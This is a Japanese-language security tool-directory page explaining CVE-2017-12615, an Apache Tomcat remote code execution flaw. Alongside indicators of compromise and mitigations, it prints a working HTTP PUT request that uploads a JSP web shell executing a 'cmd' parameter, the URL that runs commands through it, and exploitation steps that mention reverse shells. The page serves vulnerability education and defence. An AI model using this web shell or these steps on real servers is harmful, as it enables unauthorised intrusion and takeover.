Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/k3ystr0k3r/cve-2017-12615
ペイロード生成脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubk3ystr0k3r/cve-2017-12615

CVE-2017-12615

CVE-2017-12615 - Apache Tomcat リモートコード実行 (RCE)

リポジトリを見る
12ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2017-12615 - Apache Tomcat リモートコード実行 (RCE)

CVE-2017-12615 は、HTTP PUT リクエストが有効な Microsoft Windows 上で動作する Apache Tomcat 7.0.0 から 7.0.79 に影響を与えるリモートコード実行 (RCE) の脆弱性です。

この脆弱性は、DefaultServlet の readonly パラメータが false に設定されている場合に、Tomcat がアップロードされた JSP ファイルを誤って処理することに起因します。このような条件下では、認証されていない攻撃者が悪意のある JSP ファイルを Web サーバーに直接アップロードし、アップロードしたファイルをリクエストするだけで任意の Java コードを実行できます。

この脆弱性は、設定ミスのあるサーバーに対して非常に簡単に悪用できたため、最も有名な Tomcat RCE 問題の1つとなりました。


影響を受けるバージョン

  • Apache Tomcat 7.0.0 - 7.0.79
  • Microsoft Windows インストール
  • HTTP PUT メソッドが有効
  • DefaultServlet で readonly="false" が設定されている

深刻度

メトリクス値
CVECVE-2017-12615
CVSS v38.1 (高)
攻撃ベクトルネットワーク
必要な権限なし
ユーザー操作不要
影響リモートコード実行

根本原因

通常、Apache Tomcat はユーザーが実行可能な JSP ファイルをアップロードすることを防ぎます。

ただし、以下の場合:

  • HTTP PUT リクエストが有効
  • DefaultServlet が書き込み可能 (readonly=false)
  • Tomcat が Windows 上で動作している

攻撃者は JSP ファイルを Web ルートに直接アップロードできます。

アップロード後、その JSP をリクエストすると、Tomcat がそれをコンパイルして実行し、Tomcat サービスの権限で任意の Java コードを実行できます。


攻撃フロー

root@kitploit:~
Attacker
    │
    │ HTTP PUT
    ▼
Uploads malicious JSP shell
    │
    ▼
Tomcat stores file
    │
    │ HTTP GET
    ▼
Requests uploaded JSP
    │
    ▼
Tomcat compiles JSP
    │
    ▼
Java code executes
    │
    ▼
Remote Code Execution

悪用手順

典型的な攻撃は以下の手順で行われます:

  1. 脆弱な Tomcat インスタンスを特定する。
  2. HTTP PUT リクエストが許可されていることを確認する。
  3. 悪意のある .jsp Web シェルをアップロードする。
  4. アップロードした JSP をリクエストする。
  5. 任意のシステムコマンドを実行する。
  6. リバースシェルを確立するか、追加のペイロードを展開する。

サーバーが脆弱な場合、認証は必要ありません。


リクエスト例

HTTP PUT リクエストの例:

root@kitploit:~
PUT /shell.jsp HTTP/1.1
Host: victim.com
Content-Type: application/octet-stream

<%@ page import="java.io.*" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

成功すると、サーバーは以下のように応答します:

root@kitploit:~
HTTP/1.1 201 Created

その後、ペイロードは以下にアクセスすることで実行できます:

root@kitploit:~
http://victim.com/shell.jsp?cmd=whoami

検出例

脆弱なシステムを特定する簡単な方法は、無害なテスト用 JSP のアップロードを試みることです:

root@kitploit:~
PUT /test.jsp

考えられる応答は以下のとおりです:

root@kitploit:~
201 Created

または

root@kitploit:~
204 No Content

アップロードしたファイルがその後 HTTP 経由で取得できる場合、そのサーバーは脆弱である可能性が高いです。


影響

悪用に成功すると、攻撃者は以下を行うことができます:

  • 任意のオペレーティングシステムコマンドを実行
  • 永続的な Web シェルをアップロード
  • リバースシェルを取得
  • マルウェアまたはランサムウェアを展開
  • 機密情報を窃取
  • 内部ネットワークの奥深くへ水平移動
  • 影響を受けた Tomcat サーバーを完全に侵害

侵害の痕跡 (IoC)

セキュリティチームは以下を調査する必要があります:

  • 予期しない HTTP PUT リクエスト
  • 新しく作成された .jsp ファイル
  • 未知の Web シェル
  • Tomcat によって生成された不審な子プロセス
  • リバースシェルのネットワーク接続
  • Tomcat の Web ルート内での異常な活動

緩和策

推奨される緩和策は以下のとおりです:

  • Apache Tomcat をパッチ適用済みのリリースにアップグレードする。
  • どうしても必要な場合を除き、HTTP PUT を無効化する。
  • DefaultServlet が readonly="true" を使用していることを確認する。
  • アップロード権限を制限する。
  • 予期しない JSP ファイルの作成を監視する。
  • Web アプリケーションファイアウォール (WAF) を導入する。
  • Tomcat のアクセスログを定期的に確認し、不審な PUT リクエストを探す。

技術概要


参考情報

  • NIST National Vulnerability Database (NVD)
  • Apache Tomcat セキュリティアドバイザリ
  • CVE レコード: CVE-2017-12615

免責事項

このリポジトリは、教育目的、防御的なセキュリティ研究、および許可を得たペネトレーションテストのみを目的としています。明示的な許可なしに、この情報をシステムに対して使用しないでください。

ツールをダウンロード
プロパティ値
脆弱性任意の JSP アップロード
CWECWE-434 - Unrestricted Upload of File with Dangerous Type
認証の必要性なし
悪用の複雑さ脆弱な設定では低
結果リモートコード実行
プラットフォームWindows
サービスApache Tomcat